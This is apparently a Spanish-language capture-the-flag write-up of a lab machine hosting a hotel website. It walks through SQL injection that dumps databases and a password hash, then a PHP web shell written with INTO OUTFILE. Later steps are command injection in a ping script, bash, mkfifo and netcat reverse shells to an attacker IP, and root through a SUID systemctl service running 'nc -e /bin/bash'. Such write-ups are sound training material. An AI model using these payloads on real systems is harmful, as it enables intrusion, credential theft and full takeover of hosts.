Reconnaissance

Nmap Recon Results

Discovery OS System \

Recon Open Ports

Service Enumeration

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA)
|   256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA)
|_  256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519)
80/tcp    open  http    Apache httpd 2.4.25 ((Debian))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Stark Hotel
64999/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Whatweb

http://10.129.1.113 [200 OK] Apache[2.4.25], Bootstrap, Cookies[PHPSESSID], Country[RESERVED][ZZ], Email[supersecurehotel@logger.htb], HTML5, HTTPServer[Debian Linux][Apache/2.4.25 (Debian)], IP[10.129.1.113], JQuery, Modernizr[2.6.2.min], Open-Graph-Protocol, Script, Title[Stark Hotel], UncommonHeaders[ironwaf], X-UA-Compatible[IE=edge]

Web Services

dirsearch -u http://10.129.1.113 -w /usr/share/dirb/wordlists/common.txt -e " " -F -x "400,404" -t 100 -o webscan

Comenzaremos fuzzeando el servicio web para hacernos una idea de que directorios podemos encontrar.

Vamos a enumerar el servicio web y por lo que notamos de entrada es una pagina web relacionada con un hotel.

http://10.129.1.113/

Fuzzing del servicio Web

nmap --script http-enum -p 80 10.129.1.113 -T4 -n -oN http-enum
PORT   STATE SERVICE
80/tcp open  http
| http-enum: 
|   /phpmyadmin/: phpMyAdmin
|   /css/: Potentially interesting directory w/ listing on 'apache/2.4.25 (debian)'
|   /images/: Potentially interesting directory w/ listing on 'apache/2.4.25 (debian)'
|_  /js/: Potentially interesting directory w/ listing on 'apache/2.4.25 (debian)'

fuzzeando el servicio web por el puerto 80 nos damos cuenta que existe ‘phpmyadmin’, eso quiere decir que probablemente el servicio web realize consultas a la base de datos.

Probamos las credentials por defecto pero no funcionan

Bien sabemos que Existe el fichero ChangeLog que nos sirve para Enumerar la version de PHPMYADMIN

AltText|800

PhpMyAdmin 4.8.0

realizando una busqueda en searchsploit encontramos 2 exploits de Local File Inclusion pero tenemos que autenticarnos asi que por el momento no nos sirve de mucho, continuaremos enumerando el sitio web

La mayor parte del sitio web es estatica, aunque hay 2 secciones donde podemos interactucar una es “Room” y “Dinning Bar” ,en Room vemos que hace uso del parametro "?cod" para realizar consultas

Probamos Sql Injection Basicas, como las siguiente ?cod=1' and sleep (5) y la respuesta parece no variar pero cuando sacamos la comilla ?cod=1 and sleep (5) el servidor demora 5 segundos en responder, osea que es vulnerable a **SQLI **

terminamos determinando que el numero de columna son 7, por que cuando intentabamos consultar por el ==“N 6”== en la respuesta veiamos que nos devolvia una imagen con una habitacion ,pero esto no pasaba con el ==“7 “== en adelante. por ejp:

AltText

Y en la siguiente imagen fue el punto donde determinamos que el numero de columnas son 7.

como vemos no nos devuelve la imagen de la habitacion.

bien ahora intentaremos listar etiquedas del Union Select donde inyectaremos nuestras consultas…al final hemos pasado algo de tiempo tratando de listar las etiquetas, para esto tubimos que realizar una consulta a un ‘?cod’ que no existia por ejemplo desde el 7 en adelante.

Enumerando Bases De datos

echo ; for i in `seq 0 100`; do echo "[*] TABLE Nยบ $i $(curl -s "http://supersecurehotel.htb/room.php?cod=7%20union%20select%201,schema_name,3,4,5,6,7%20from%20information_schema.schemata%20limit%20$i,1" | grep "h3" | awk '{print $3}' FS='>' | cut -d '<' -f 1)" ; done

Enumerando Tablas

Enumerando Columnas

  • DBadmin:*2D2B7A5E4E637B8FBA1D17F40318F277D29964D0

bien pasaremos el hash a un archivo de texto y lo crackeremos con john

  • Valid Credential
    • Pass: imissyou

Metodo II

hay otra posible instrucion en la maquina a traves de funciones que maneja sql como por ejemplo, volcar contenido a un fichero en un directorio donde tengamos permisos de escritura o asi como tambien podemos cargar ficheros

Example

select load_file('/var/lib/mysql-files/key.txt'); #Read file
select 1,2,3,4,"Hola esto es una prueba",6,7 into outfile "/var/www/html/images/test.txt"  #Proof Write File
select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php'

AltText|

vemos que la inclusion de archivos funciona, ahora intentamos volcar contenido en un archivo para ver si despues podemos leerlo

http://supersecurehotel.htb/room.php?cod=7 union select 1,2,3,4,"Hola esto es una prueba",6,7 into outfile "/var/www/html/js/test.txt"

y si lo listamos vemos que aparece nuestra estructura de la consulta, ahora intentaremos hacer una web shell

cuando listamos el archivo y vemos que el campo donde hemos metido nuestra webshell no aparece es buena seรฑal ya que se esta interpretando el codigo PHP y no nos lo muestra

injection en la que meteremos nuestra web shell union select 1,2,3,4,"<?php echo shell_exec($_REQUEST['cmd']); ?>",6,7 into outfile "/var/www/html/js/shell.php"

entablamos una reverse shell desde nuestra webshell, con el siguiente payload

bash -i >%26 /dev/tcp/10.10.14.68/443 0>%261

Priv Esc www-data To Pepper

encontramos el siguiente scrpit en /var/www/Admin-Utilities que se nos hace interesante y mas sabiendo que tiene para ejecutarse como el usuario pepper

#!/usr/bin/env python3
from datetime import datetime
import sys
import os
from os import listdir
import re

def show_help():
    message='''
********************************************************
* Simpler   -   A simple simplifier ;)                 *
* Version 1.0                                          *
********************************************************
Usage:  python3 simpler.py [options]

Options:
    -h/--help   : This help
    -s          : Statistics
    -l          : List the attackers IP
    -p          : ping an attacker IP
    '''
    print(message)

def show_header():
    print('''***********************************************
     _                 _                       
 ___(_)_ __ ___  _ __ | | ___ _ __ _ __  _   _ 
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | |  __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
                |_|               |_|    |___/ 
                                @ironhackers.es
                                
***********************************************
''')

def show_statistics():
    path = '/home/pepper/Web/Logs/'
    print('Statistics\n-----------')
    listed_files = listdir(path)
    count = len(listed_files)
    print('Number of Attackers: ' + str(count))
    level_1 = 0
    dat = datetime(1, 1, 1)
    ip_list = []
    reks = []
    ip = ''
    req = ''
    rek = ''
    for i in listed_files:
        f = open(path + i, 'r')
        lines = f.readlines()
        level2, rek = get_max_level(lines)
        fecha, requ = date_to_num(lines)
        ip = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
        if fecha > dat:
            dat = fecha
            req = requ
            ip2 = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
        if int(level2) > int(level_1):
            level_1 = level2
            ip_list = [ip]
            reks=[rek]
        elif int(level2) == int(level_1):
            ip_list.append(ip)
            reks.append(rek)
        f.close()
	
    print('Most Risky:')
    if len(ip_list) > 1:
        print('More than 1 ip found')
    cont = 0
    for i in ip_list:
        print('    ' + i + ' - Attack Level : ' + level_1 + ' Request: ' + reks[cont])
        cont = cont + 1
	
    print('Most Recent: ' + ip2 + ' --> ' + str(dat) + ' ' + req)
	
def list_ip():
    print('Attackers\n-----------')
    path = '/home/pepper/Web/Logs/'
    listed_files = listdir(path)
    for i in listed_files:
        f = open(path + i,'r')
        lines = f.readlines()
        level,req = get_max_level(lines)
        print(i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3] + ' - Attack Level : ' + level)
        f.close()

def date_to_num(lines):
    dat = datetime(1,1,1)
    ip = ''
    req=''
    for i in lines:
        if 'Level' in i:
            fecha=(i.split(' ')[6] + ' ' + i.split(' ')[7]).split('\n')[0]
            regex = '(\d+)-(.*)-(\d+)(.*)'
            logEx=re.match(regex, fecha).groups()
            mes = to_dict(logEx[1])
            fecha = logEx[0] + '-' + mes + '-' + logEx[2] + ' ' + logEx[3]
            fecha = datetime.strptime(fecha, '%Y-%m-%d %H:%M:%S')
            if fecha > dat:
                dat = fecha
                req = i.split(' ')[8] + ' ' + i.split(' ')[9] + ' ' + i.split(' ')[10]
    return dat, req
			
def to_dict(name):
    month_dict = {'Jan':'01','Feb':'02','Mar':'03','Apr':'04', 'May':'05', 'Jun':'06','Jul':'07','Aug':'08','Sep':'09','Oct':'10','Nov':'11','Dec':'12'}
    return month_dict[name]
	
def get_max_level(lines):
    level=0
    for j in lines:
        if 'Level' in j:
            if int(j.split(' ')[4]) > int(level):
                level = j.split(' ')[4]
                req=j.split(' ')[8] + ' ' + j.split(' ')[9] + ' ' + j.split(' ')[10]
    return level, req
	
def exec_ping():
    forbidden = ['&', ';', '-', '`', '||', '|']
    command = input('Enter an IP: ')
    for i in forbidden:
        if i in command:
            print('Got you')
            exit()
    os.system('ping ' + command)

if __name__ == '__main__':
    show_header()
    if len(sys.argv) != 2:
        show_help()
        exit()
    if sys.argv[1] == '-h' or sys.argv[1] == '--help':
        show_help()
        exit()
    elif sys.argv[1] == '-s':
        show_statistics()
        exit()
    elif sys.argv[1] == '-l':
        list_ip()
        exit()
    elif sys.argv[1] == '-p':
        exec_ping()
        exit()
    else:
        show_help()
        exit()

analizando el script vemos que la ultima funcion llamada exec_ping ejecuta el comando ping, y filtra la entrada por ciertos carateres como

forbidden = ['&', ';', '-', '`', '||', '|']

analizando el script y nos damos cuenta que no filtra los caracteres $() donde podriamos inyectar comandos asi que realizaremos una pequeรฑa prueba consultamos con El siguiente Recurso donde nos lista varios payloads para injectar comandos

sudo -u pepper /var/www/Admin-Utilities/simpler.py -p

ahora nos entablamos una reverse shell para eso vamos a crear un fichero y solamente lo ejecutaremos en la injection

/tmp/shell.sh

#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.68 443 >/tmp/f

Priv Esc Pepper To root

enumerando con linpeas nos damos cuenta de que existe un fichero systemctl , con permisos ==SUID== del que podriamos aprovecharnos, asi que procedo a crearme el siguiente servicio

[Service]
Type=notify
ExecStart=/bin/bash -c "nc -e /bin/bash 10.10.14.68 9090"
[Install]
WantedBy=multi-user.target

lo guardo en /dev/shm/lemon.service

hago linkeo el fichero con system ctl para que me lo registre al servicio

systemctl link /dev/shm/lemon.service
systemcel start lemon

nos ponemos en escucha y somos root

Leccines Aprendidas

  1. hacer uso de funciones de SQL cuando nos encontramos con una SQLI 1A) load_file("/etc/passw") 1B)"Esto es una prueba" into Outfile /var/www/html/images/$FileName

  2. Crear servicio , realizar el link para que systemctl lo registre , y lanzarlo

[Service]
Type=notify
ExecStart=/bin/bash -c "nc -e /bin/bash 10.10.14.68 9090"
[Install]
WantedBy=multi-user.target

Una muy buena maquina ,un encanto ๐Ÿ’Ž๐Ÿ’Ž